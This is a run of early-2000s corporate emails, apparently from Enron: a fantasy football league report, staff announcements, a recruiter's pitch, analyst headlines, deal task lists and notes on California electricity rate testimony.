Moss did not participate in practice Wednesday due to his sore right ankle. He should be able to practice on Thursday and play Sunday against Green Bay, but hold off deciding on whether to use him until it's clear whether he will be able to play.

Bill Schroeder <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1593&>, WR GB - Frank Updated 10/18/01
Schroeder missed practice Wednesday with an ankle injury. He is receiving treatment and should play Sunday, but monitor his progress before deciding whether to use him this week.

Terry Glenn <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1254&>, WR NE - Matty Updated 10/18/01
Glenn might have another good game this week. Indianapolis' secondary might have trouble handling Glenn, who immediately proved an early-season layoff didn't hurt him last week.

Antowain Smith <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1663&>, RB NE - JWillie Updated 10/18/01
Smith rushed for 94 yards and two TDs the first time he faced the Colts this year. Expect him to get in the end zone at least once this week, in his second meeting with Indianapolis.

Wayne Chrebet <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1263&>, WR NYJ - JWillie Updated 10/18/01
Chrebet's numbers have been very disappointing so far. He could have a good week if ! th! e Jets engage in a shootout with the Rams. He is still a risky start, because New York will center its gameplan around Curtis Martin. 

Laveranues Coles <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=187742&>, WR NYJ - JWillie Updated 10/18/01
Coles has emerged as a go-to receiver for the Jets, but might be held down by the Rams. The St. Louis defenive backs should be able to match his downfield speed.

Curtis Martin <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1132&>, RB NYJ - Tori Updated 10/18/01
Martin will be the focal point of the New York offense this week. The Jets will try to control the ball and the clock against the Rams. 

S! te! phen Davis <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1440&>, RB WAS - Bass/Hull Updated 10/18/01
Davis had his first decent game of the season on Monday against Dallas, but he's still a very risky Fantasy player due to Washington's horrible offense. Facing Carolina is an advantageous matchup, however, so starting Davis this week warrants consideration. 

Tony Banks <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1062&>, QB WAS - Free Agent Updated 10/18/01
Banks was very mediocre against Dallas on Monday night, completing 10-of-18 passes for only 132 yards and one touchdown. At this point, Banks isn't even worth a roster spot outside of deeper leagues. 

Michael Westbrook <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1310&>, WR WAS - Free Agent Updated 10/18/01
Westbrook has been less than mediocre this season, but he could have a decent outing against Carolina. He's had some success against the Panthers in the past, but he's still only worth starting in deeper leagues. 

Vinny Testaverde <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1007&>, QB NYJ - Neal/McKay Updated 10/18/01
Testaverde might not be a good start this week. The St. Louis defense can be opportunistic, and could very well make the Jets QB throw his first interception of the year.

Walter Rasby <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1320&>, TE WAS - Free Agent Updated 10/18/01
Rasby will likely get most of the work at tight end ! no! w that Stephen Alexander is out. However, he warrants no real Fantasy consideration at this point. 

Rod Gardner <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=235213&>, WR WAS - Free Agent Updated 10/18/01
Gardner could have a decent game against a questionable Carolina secondary on Monday. He's worth considering as a starter Fantasy-wise, but only in larger leagues. 

Torry Holt <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=133310&>, WR STL - Tori Updated 10/18/01
Holt has the potential to post big numbers against a shaky N.Y. Jets secondary on Sunday. He's a big time Fantasy wideout and should be in your starting lineup on a weekly basis. 

Isaac Bruce <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige! 01! &owner=14696.2&random=892&key=1294&>, WR STL - Frank Updated 10/18/01
Bruce hasn't been very consistent thus far, but he's far too talented to ever consider benching. Look for him to turn things around against the questionable N.Y. Jets secondary. 

Ernie Conwell <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1366&>, TE STL - Free Agent Updated 10/18/01
Conwell has become a decent tight end from a Fantasy perspective this season. He's worth staring on a weekly basis if you don't have a more reliable tight end on your roster. 

Trung Canidate <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=187503&>, RB STL - Giggles Updated 10/18/01
Canidate will ! li! kely replace Marshall Faulk as St. Louis' featured back this weekend against the N.Y. Jets. He has a good knowledge of the Rams' offense and is easily worth starting this week from a Fantasy perspective. 

Kurt Warner <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=12797&>, QB STL - Hunter Updated 10/18/01
Considering the huge numbers he puts up on a consistent basis, Warner is a a must-start every week. He'll post another big game against the New York Jets on Sunday, so be sure to put him your lineup. 

Correll Buckhalter <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=235031&>, RB PHI - Free Agent Updated 10/18/01
Buckhalter isn't expected to start, but don't be surprised if he gets the majority of the carries on Monday night against the Giants. Coach Andy Reid will start Duce Staley in the backfield, but Buckhalter will likely be the more productive o! f ! the two backs. 

Donovan McNabb <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=133361&>, QB PHI - Russell Updated 10/18/01
McNabb is one of the top Fantasy players in the league, and is worth starting on a weekly basis. He should beat the Giants for two scores and around 275 yards on Monday night, so be sure to get him into your lineup. 

Todd Pinkston <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=187621&>, WR PHI - Hunter Updated 10/18/01
Pinkston is slowly becoming one of Donovan McNabb's favorite targets this season. He's worth starting against the Giants, whose secondary is a bit suspect at this point. 

Tyrone Wheatley <http://football222.fantasy.sportsline.com/mp! /e! link?script=players&league=bige01&owner=14696.2&random=892&key=1140&> , RB OAK - Giggles Updated 10/18/01
The Contra-Costa Times says Wheatley has sustained a sprained medial collateral ligament in his right knee. Although some sources say Wheatley will miss two to four weeks, Jon Gruden says Wheatley is questionable for Oct. 28, and is unaware of any prognosis beyond that.

Chad Lewis <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1755&>, TE PHI - Free Agent Updated 10/18/01
Lewis will have a good shot at producing some solid Fantasy numbers on Monday against the N.Y. Giants. He's one of the league's top tight ends and should be in your starting lineup on a weekly basis. 

More Updates <http://football222.fantasy.sportsline.com/mp/elink?script=pro-player-updates&league=bige01&owner=14696.2&r! an! dom=892&start=30&>
Transactions NFL Reports 	
10/17	
Chicago Bears <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=6&>
Signed fullback Stanley Pritchett <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=1124>; released wide receiver-kick returner Glyn Milburn <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=1221>. 

Detroit Lions <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=10&>
Placed wide receiver Herman Moore <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=1222> on injured reserve with a torn abdomen muscle; signed linebacker Khari Samuel to the active roster and linebacker Wayne Rogers to the practice squad. 

Green Bay Packers <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=11&>
Re-signed receiver Mike Horacek <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=223766> to the practice squad; released tackle Mark Bristol from the practice squad. 

New England Patriots <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=17&>
Signed punter Ken Walter; released linebacker Rob Holmberg. 

Canadian Football League
Awarded Ottawa an expansion franchise in 2002 and the Grey Cup in 2004. 

10/16	
Atlanta Falcons <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=2&>
Waived strong safety Marty Carter; signed safety Corey Hall from the practice squad; signed wide receiver Daniel Guy <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=236944> to the practice squad.

Signed quarterback Shane Matthews <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=4719>; waived long snapper Ryan Benjamin. 

Cincinnati Bengals <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=7&>
Placed cornerback Rodney Heath injured reserve list with a left hamstring injury; signed cornerback Ligarius Jennings. 

Cleveland Browns <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=31&>
Signed defensive tackle Cedric Killings; waived defensive back Perry Phenix; claimed defensive back Brandon Jennings off waivers from the Oakland Raiders <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=21>. 

Denver Broncos <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=9&>
Signed tight end Mark Thomas <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=134710> to the practice squad. 

Named John M. Jones executive vice president and chief operating officer. 

Miami Dolphins <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=15&>
Placed defensive tackle Damian Gregory on the reserve-non-football injury list. 

Minnesota Vikings <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=16&>
Acquired defensive back Stalin Colinet from the Cleveland Browns <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=31> for an undisclosed draft pick; waived wide receiver Nate Jacquet <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=1719>. 

Washington Redskins <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=30&>
Released running back Kenny Watson <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=235389> and safety Martavious Houston from the practice squad; signed cornerback Kato Serwanga. 

Winnipeg Blue Bombers (CFL)
Signed offensive lineman Rick Gilliam to the practice squad.

Toronto Phantoms (Arena)
Named Dave Stewart assistant general manager and assistant coach. 

10/15	
Released punter Lee Johnson; signed defensive lineman David Nugent from the practice squad.

B.C. Lions (CFL)
Received offensive lineman Angus Reid from the Montreal Alouettes as compensation for defensive lineman Adriano Belli; traded slotback Scott Robinson to the Edmonton Eskimos for future considerations; released slotback-punt returner Seneca Holmes. 

Signed quarterback Ryan Johnson.

New Jersey Gladiators (Arena)
Named Ron James defensive coordinator. 

10/14	
Waived quarterback Shane Matthews <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=4719>; signed long snapper Ryan Benjamin. 

Activated wide receiver Terry Glenn <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=1254>. 

10/13	
Activated defensive tackle Cletidus Hunt from the reserve-suspended list; released tight end Bobby Collins <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=133256>. 

10/12	
Dallas Cowboys <http://football222.fantasy.sportsline.com/mp/elink?script=pro-summary&league=bige01&owner=14696.2&random=892&pro_team=8&>
Signed quarterback Ryan Leaf <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=12506> to a three-year contract; waived tight end Johnny Huggins <http://football222.fantasy.sportsline.com/mp/players?league=bige01&owner=14696.2&key=195690>. 

Chicago Rush (Arena)
Announced the resignation of director of player personnel Brent Winter. 

Los Angeles Avengers (Arena)
Named Brent Winter assistant coach-director of player personnel. 

View Transactions 	
View  <http://www.sportsline.com/links/6/1/195/Transactions100501.cgi>
Transactions
Date	Time	Player	Team	Transaction	Effective	Cost! 	
10/18/01	1:12 PM	Packers	Martin	Signed	Week 6	$2.5	
10/18/01	1:12 PM	Hayes, Donald	Martin	Signed	Week 6	$2.5	
10/18/01	1:12 PM	McNair, Steve	Martin	Signed	Week 6	$2.5	
10/18/01	1:12 PM	Fiedler, Jay	Martin	Released	Week 6	$2.5	
10/18/01	1:08 PM	Jets	Tori	Released	Week 6	$2.5	
10/17/01	10:14 PM	Mare, Olindo	Russell	Put on DL	Week 6	 	
10/17/01	8:35 AM	Grbac, Elvis	Tori	Put on DL	Week 6	 	
Breakdown Schedule 	
Breakdown  <http://www.sportsline.com/links/6/1/195/FantasySched091801.cgi>

Frank
Player	Pos	Points	
Favre, Brett <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1028&week=06&>	QB	0.0	
Dillon, Corey <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1681&week=06&>	RB	0.0	
Smith, Maurice <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=188183&week=06&>	RB	0.0	
Bruce, Isaac <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1294&week=06&>	WR	0.0	
Smith, Jimmy <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1236&week=06&>	WR	4.0	
Thrash, James <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1859&week=06&>	WR	0.0	
Akers, David <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1666&week=06&>	K	0.0	
Titans <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=29&week=06&>	DT	0.0	
  <http://images.commissioner.com/images/dot_clear.gif>	
TOTAL	 	4.0	
Plummer, Jake <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1003&week=06&>	QB	0.0	
Levens, Dorsey <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1107&week=06&>	RB	0.0	
Gary, Olandis <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=133291&week=06&>	RB	0.0	
Hearst, Garrison <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1164&week=06&>	RB	0.0	
Mathis, Terance <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1189&week=06&>	WR	0.0	
Schroeder, Bill <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1593&week=06&>	WR	0.0	

  <http://images.commissioner.com/images/dot_clear.gif>	at Giggles
Culpepper, Daunte <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=133263&week=06&>	QB	0.0	
Bettis, Jerome <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1152&week=06&>	RB	0.0	
Staley, Duce <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1757&week=06&>	RB	0.0	
Crowell, Germane <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=12306&week=06&>	WR	0.0	
Johnson, Keyshawn <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1265&week=06&>	WR	0.0	
Warrick, Peter <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=187401&week=06&>	WR	0.0	
Hollis, Mike <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1387&week=06&>	K	5.0	
Raiders <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=21&week=06&>	DT	0.0	
TOTAL	 	5.0	
Wheatley, Tyrone <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1140&week=06&>	RB	0.0	
Johnson, Rob <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1033&week=06&>	QB	17.0	
Canidate, Trung <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=187503&week=06&>	RB	0.0	
Galloway, Joey <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=1286&week=06&>	WR	0.0	
McAllister, Deuce <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=235228&week=06&>	RB	0.0	
Minor, Travis <http://football222.fantasy.sportsline.com/mp/elink?script=/mp/players&league=bige01&owner=14696.2&random=892&key=235123&week=06&>	RB	0.0	

  <http://football222.fantasy.sportsline.com/mp/open_gif?splnid=30e6a654ca37f8af&league=bige01&owner=14696.2&email=9eb4d4d2e1a3f856124cc184ab07d1f73a5c23d37e8f491a&sport=football&vend=CBS%20SportsLine.com&product=mgmt&time=20011019&type=ereport&random=892>
  _____  

Copyright 2001 Commissioner.COM Inc and SportsLine.com Inc.
Your site can be reached from <http://fantasy.sportsline.com>

FB10SP

I agree since I am at the bank right now

I am very pleased to announce that L.D. Stephens has accepted the position of 
Account Director in the Business and Power Development group of the Northern 
Natural Gas Marketing Division.   L.D. has been with Enron for 18 years and 
has held many positions from Field Technician to Field O&M Supervisor to 
Regional Team Advisor.  Most recently L.D. was a Sr. Facility Planner and had 
primary accountability to provide planning support to the commercial 
activities of the Business and Power Development team.   L.D. has a B.S. in 
Industrial Technology from Southwest Oklahoma State.  He will be located in 
Omaha and will manage a number of projects primarily in the area of on system 
power development and ethanol market development.  

Please join me in welcoming L.D. to our group.

Thank You. 
John Dushinske 

Lindsay, these product descriptions are approved by me on behalf of the legal department (subject to the point I made about the "Reference Period" and your explanation back to me this morning) -- Bob Bruce

From: 	Dicke, Scott  
Sent:	Monday, October 22, 2001 11:02 AM
To:	Arnold, Matthew; Renaud, Lindsay; Bruce, Robert
Subject:	Updated L&S Description

This copy has the change Bob mentioned - Scott
 << File: Product Descriptions.doc >> 

I want to remind you about our All-Employee Meeting this Tuesday, Oct. 23, at 10 a.m. Houston time at the Hyatt Regency.  We obviously have a lot to talk about.  Last week we reported third quarter earnings.  We have also been the subject of media reports discussing transactions with LJM, a related party previously managed by our chief financial officer.  Today, we announced that we received a request for information from the Securities and Exchange Commission regarding related party transactions.

I know you will have a number of questions about these issues and events, which I will address.   As usual, I will be as candid as I can.  I will do my best to provide answers and talk about where we go from here.  I encourage each of you to attend or tune in tomorrow.

Does Vanessa know anything about this?  I know that we had a definite 
interest several years ago in a system from Siebel.  We shelved it at the 
time due to IT resource constraints and Philippe's concern over costs.  In 
the meantime, EES bought a license and uses this system.  I know that Mary 
was resurrecting this with someone on her team.  She had recently reviewed it 
with Brenda Herod, I believe.  This is one of the items that we listed in 
Dallas as a need if we were to get heavily into providing services for 
others.  --Sally 
---------------------- Forwarded by Sally Beck/HOU/ECT on 04/04/2001 08:27 AM 

Richard Sage
04/03/2001 05:25 PM
cc:  
Subject: CRM system

Sally,
I gather that Mary has taken extended leave.
Can you advise who might know anything about this system?

Thanks,
Richard

---------------------- Forwarded by Richard Sage/LON/ECT on 03/04/2001 23:22 

19/03/2001 15:59
To: Mary Solmonson/Enron@EnronXGate
cc:  

Mary,
Are you around - your voicemail message has said you were out for the day, 
for weeks.
We have a need for a CRM system, but not a very complicated one, and I 
thought that the one that Tony Mends demonstrated a couple of years ago might 
fit the bill. He tells me that it is in your area of responsibilities!

Thanks,
Richard

Dave,

Here it is the revised Master for Clark.  Let me know if you have any 
questions.  FYI,  revisions were made to Sections 4.2 /  Material Adverse 
Change in the Appendix.

Dear Carol:

Glocap Legal Search is one of the fastest growing in-house legal recruiting
firms in the nation.    We have worked very hard to create a unique and 
powerful legal recruiting company and we were gratified recently when Forbes 
ranked Glocap its Favorite Headhunter.   To read the review, which appeared 
in the spring issue of Forbes.com magazine click on 
http://www.forbesbest.com/asp/category.asp?category=Headhunters.

Glocap recruits for Fortune 500 companies, major financial institutions, 
consulting companies, investment banks and many other public and private 
companies of all sizes.

I am writing to  ask for your help. Do you know anyone or any department at 
your company that may need Attorneys and could use our services? If so, I 
would be grateful for the referral.

To give you an idea of the kinds of candidates that we place, I have briefly 
summarized a very small sample of the outstanding, pre-screened attorneys 
available through Glocap.

Attorneys we are working with now include:

1. Harvard Law (Magna cum laude), Harvard College (magna cum laude). General 
Counsel at both a VC incubator and a major broker-dealer. Former VP of a 
major bank, with expertise in all GC functions including managed risk, 
compliance, acquisition finance, securities, corporate HR issues, real 
estate, litigation. A well-spoken, thoughtful attorney with about 20 total 
years of legal experience is seeking new challenges. Will relocate.

2. Yale Law School, Princeton University (magna cum laude).  Senior VP of one 
of top financial institutions in the world, this attorney has played a 
leading legal, business, integration and managerial role in acquisitions, 
joint ventures, equity investments and divestitures. Also has broad 
experience in securities law at a top law firm. Very well spoke and 
personable, this candidate is interested in  a  senior business/GC type
position. NY metro area.

3. UChicago Law School, over five years extraordinary experience at both a
top law firm and a premier incubator. Practice areas include corporate,
securities, intellectual property, mergers & acquisitions, venture capital
financings and technology. Dynamic, very highly regarded attorney also
speaks mandarin Chinese. Wants in-house or legal/business position in
Southern California only.

4. Attorney who graduated first in his law class is  practicing corporate
restructuring and reorganization at one of New York's premier law firms.
Four years experience in all aspects of distressed debt transactions,
including asset sales, plans of reorganization, asset-based financings,
cross-border insolvency issues and strategic distressed acquisitions.
Seeking in-house or investment banking position.

5.  Duke Law School graduate (cum laude) with substantial coursework in
business school has two years experience as senior analyst at a top
consulting firm, and is currently practicing law at a very  prominent law
firm where he specializes in mergers and acquisitions. This very personable,
hard-working attorney is seeking a position at a well-run company that will
allow him to utilize his impressive skill set in a dynamic and challenging
environment.  Will relocate to the Northeast or the West Coast.

6. Dartmouth College graduate holds JD and MBA from top schools. This
dynamic, articulate attorney  has two years experience at both a premier
accounting firm and a highly respected law firm doing corporate finance,
m & a, structuring complex transactions and tax planning.  He has also
served as General Counsel and corporate secretary at an investor relations
company. He has the skills, personality and energy to be a major asset to an
entrepreneurial company that seeks a general counsel, or a more established
company that seeks a mid to high-level counsel.

7. This Columbia Law graduate (Harlan Fisk Stone Scholar) has over six years
of experience in corporate law, primarily involving venture capital
financing, mergers & acquisitions and initial and follow-on public
offerings.   Currently on West Coast, willing to relocate for an in-house
position that utilizes his/her broad corporate experience and a very
professional and polished demeanor.

8. University of Pennsylvania Law School graduate  has three years of superb
experience as a corporate associate at a pre-eminent law firm responsible
for corporate and securities  matters for many major financial institutions
and investment banks.  Also has corporate (m & a) and securities experience
working at a Fortune 200 technology company. This candidate is looking to
relocate to the East Coast.  Have foreign language skills.

9. Georgetown Law Center graduate has six years awesome experience in the
technology practice group of a major law firm.  Has simultaneously served as
business development consultant to an Internet start-up company. Wants
in-house legal or business position in  a technology/telecommunications
company.

10.  Yale University (magna cum laude), Harvard Law School (cum laude)
candidate with three years transactional experience at premier law firm
before leaving to become general counsel at a new media company.  Has broad
corporate, real estate and technology experience.  Exceedingly smart,
conscientious, and energetic. This candidate will be an enormous asset to
any company that hires him.  Wants NY area only.

This is just a small sample of the attorney/candidates that we work with. We
can of course tailor our search to meet any specifications that you wish.
Feel free to call us to discuss our service, or to refer us to a colleague
that might be interested in hearing more about us, or to obtain references
from our clients.  I hope I will be speaking with you soon.

Thank you for taking the time to  consider our service.

--
Steven J. Greenberg, Esq.
Managing Partner
Glocap Legal Search LLC
Carnegie Hall Tower
152 West 57th Street, 27th Floor
New York, New York 10019-3310
tel. 212-333-6431
greenberg@glocap.com
www.glocaplaw.com

Glocap provides finance, legal and technical recruiting, deal sourcing and 
strategic funding introductions to Venture Capital/LBO/Private Equity firms 
and their portfolio companies. http://www.glocap.net

items:

08:31AM EDT 13-OCT-00 BEAR STEARNS (NEFF A/BOBBA N) GTW AOL AAPL
GTW: IN LINE 3Q: GOOD SHOW, CONSIDERING; RAISING 4Q00 ESTIMATES; MAINTAINING

10:10PM EDT 12-OCT-00 BOFA MONTGOMERY (KING, KURTIS R) GTW CPQ HP
GTW: REPORTS SLIGHT REVENUE UPSIDE; ENDORSES OUTLOOK; SOME GOOD NEWS FOR PCS

09:07AM EDT 13-OCT-00 MERRILL LYNCH (T.KRAEMER) UIS IBM SUNW
UNISYS:FEWER SURPRISES, BUT WE'D WAIT FOR ORKIN MAN

08:12AM EDT 13-OCT-00 GOLDMAN SACHS (LAURA CONIGLIARO) IBM IBM/ 6680 IBM.N
IBM`S CURRENT STOCK PRICE IS ALREADY DISCOUNTING A LOT OF BAD NEWS

01:52PM EDT 12-OCT-00 CREDIT SUISSE FIRST BOSTON  (MCCARTHY, KEVIN)
PC AND ENTERPRISE HARDWARE: INITIATING INDUSTRY COVERAGE

 <<10.13.00 Analyst Reports.doc>>

 - 10.13.00 Analyst Reports.doc

Immediately following meeting, there will be a group luncheon outside of office.  Location for lunch will be determined at a later date.

I thought I would pull together a brief email outlining where we are on 
certain tasks.  Here goes:

Hub Agency Agreement - Gregg recently met with Peoples to discuss some of the 
outstanding commercial issues relating to the Hub Agency Agreement.  Roy is 
putting together a summary of the outcome of that meeting.  Gregg and I 
decided it would be better to not send Peoples the current draft of the 
agreement which has been circulated internally, but instead will send a draft 
which incorporates the outcome of these discussions.

Memo regarding restricted activities - David has prepared a draft for Enron's 
review.  Here's the draft:

Gregg and I need to review it.

Gregg and Peoples have been working on the grandfathered transaction list.  
Since both sides are running behind on this,  David prepared a very straight 
forward amenment to the LLC agreement, exending the time frame for finishing 
the task.  Here it is:
 
Policies - Gregg "Policy Man" Penman has been working on a credit policy, 
cash management policy, risk management policy, and probably a couple of 
others I'm forgetting.

Revolving line of credit - Gregg has been working the internal Enron system 
to get approval for a $50mm line of credit for MEH.  He has raised the issue 
of Peoples needing to provide a guarantee for their half.  Also, it may be 
necessary or advisable to document that the line of credit will be paid 
before any distributions are made to either member.  This is still under 
internal review at Enron.  I will check around to see if Corp (the lender) 
has a form of credit facility we should use.

Miscellaneous:
Decide about services agreement
Confidentiality agreements 
Transfer pricing documentation
Other agreements (ISDA, GISB, Peaking Agency, Third Party Master)
Board resolution appointing officers/managers
Budget and marketing plan 
Other administrative functions (per Gregg's Business Setup Items list)

Hope this is helpful.

Kay

If you have not already taken your drug test , please do so by Tuesday, 5th February.   This process needs to be completed and results fed back to UBS prior to your start date.   You cannot commence employment with UBS until they have this data which takes approximately 5 days from date of test.

If for any reason you cannot take this test by tomorrow, please advise.    Also, if you have completed your test please let me know so I can update the UBS records.

Regards,

Karen.

Goal:
Lower
Not greater than average increase to C&I large
Later
Surcharge delayed
Flatter
RTP better 
Higher Winter Charges better
Sustainable
More allocation to winter better

PGE:
Residential Baseline subsidy covered by Residential    Positive
CARE subsidy covered by all     Negative but expected
37.50 (vs 30) since June 1 is start date    Positive since later is better
$30/MWh allocated on kWh      Acceptable since reduces impact to large from 
CPUC design
Use $250/MWh on peak 1st then residual to other hours  Negative since results 
in high summer low winter
replace PX with actual charges     Negative and contrary to law 
$10/MWh and $30/MWh should apply to DA    Negative to new customers, Positive 
to USCS case

SCE:
Recover $30/MWH in proportion to generation revenue  Positive
CARE allocated to all based on generation revenue   Negative but expected
Non TOU - $10/MWh increase in 1st block, remainder in 2nd block Indifferent
TOU - Delta $10/MWh off, Delta $30/MWH partial, remainder on Negative since 
high summer
Surcharge of $20/MWh in June to Aug to recover lost 2 months Further negative 
since high summer

TURN:
End of 10% decrease to res - unlawful    Negative
Res subsidy should be allocated to all    Negative
CARE subsidy to all       Negative but expected
Non TOU - All 1st tier same, Delta $30 in 2nd tier   Indifferent
TOU - Greater summer vs Winter: On = 200/MWh   Negative

CLECA:
Preferred is an allocation of the Surcharge by top 100 hours  Positive re 
Class, Negative re Seasonal Rates
No increase to CARE      Negative but expected
Non TOU - 1st tier lower average, 2nd tier much higher cust basis Complicated
Residential should pay 1st $10/MWh    Positive
No increase for off peak      Negative
Partial be made at lease $40/MWh     Negative
Summer On Peak is residual     Negative

CEC
Voluntary RTP rates with minimum term 6 months   Positive
Recognize that RTP cannot be done by June 1   Negative
ISO must publish imbalance charge daily    Negative and not necessary

California League of Food Processors
Allow customers to select their own 3 hour on peak periods  Indifferent 
unless this results in lower class contributions to $30/MWh surcharge
Customers cannot respond to high peak rates   Wrong
Support Gov. 5%/15% increases for non TOU/TOU   Negative since losses will be 
picked up by others 

Alliance for Retail Energy Markets
DA customers should not be subject to surcharges   Positive to new customers, 
Negative to USCU case

Kinder Morgan (Pipeline and Storage Co)
Support Gov. proposition that all classes get 30% increase  Positive
KM supports $320/MWh summer on peak rates provided that  Negative
KM supports reducing the on peak demand rates   Positive if relative to 2 
being accepted

Question:
Do we rescind our testimony?
Factors leaning against recincion:
CEC advocacy of RTP is weak
CLECA, PGE, SCE, TURN advocate higher summer
Factors supporting recision:
CLECA, PGE, SCE would not allocate above average to C&I
PGE, SCE, CLECA would make residential pick up residential subsidy

Other: 
Need to take on PGE Px should not be at market
Need to take on PGE Surcharge should be with DA customers???????
We prefer PGE method of recovering 2 month shortfall (allocate over 12 
months) vs SCE (allocate over upcoming winter)

great...just have Thomas come down when he can.

fletch

Sent:	Tuesday, September 04, 2001 1:12 PM
Subject:	RE: Thomas Lowell

should be around 4pm

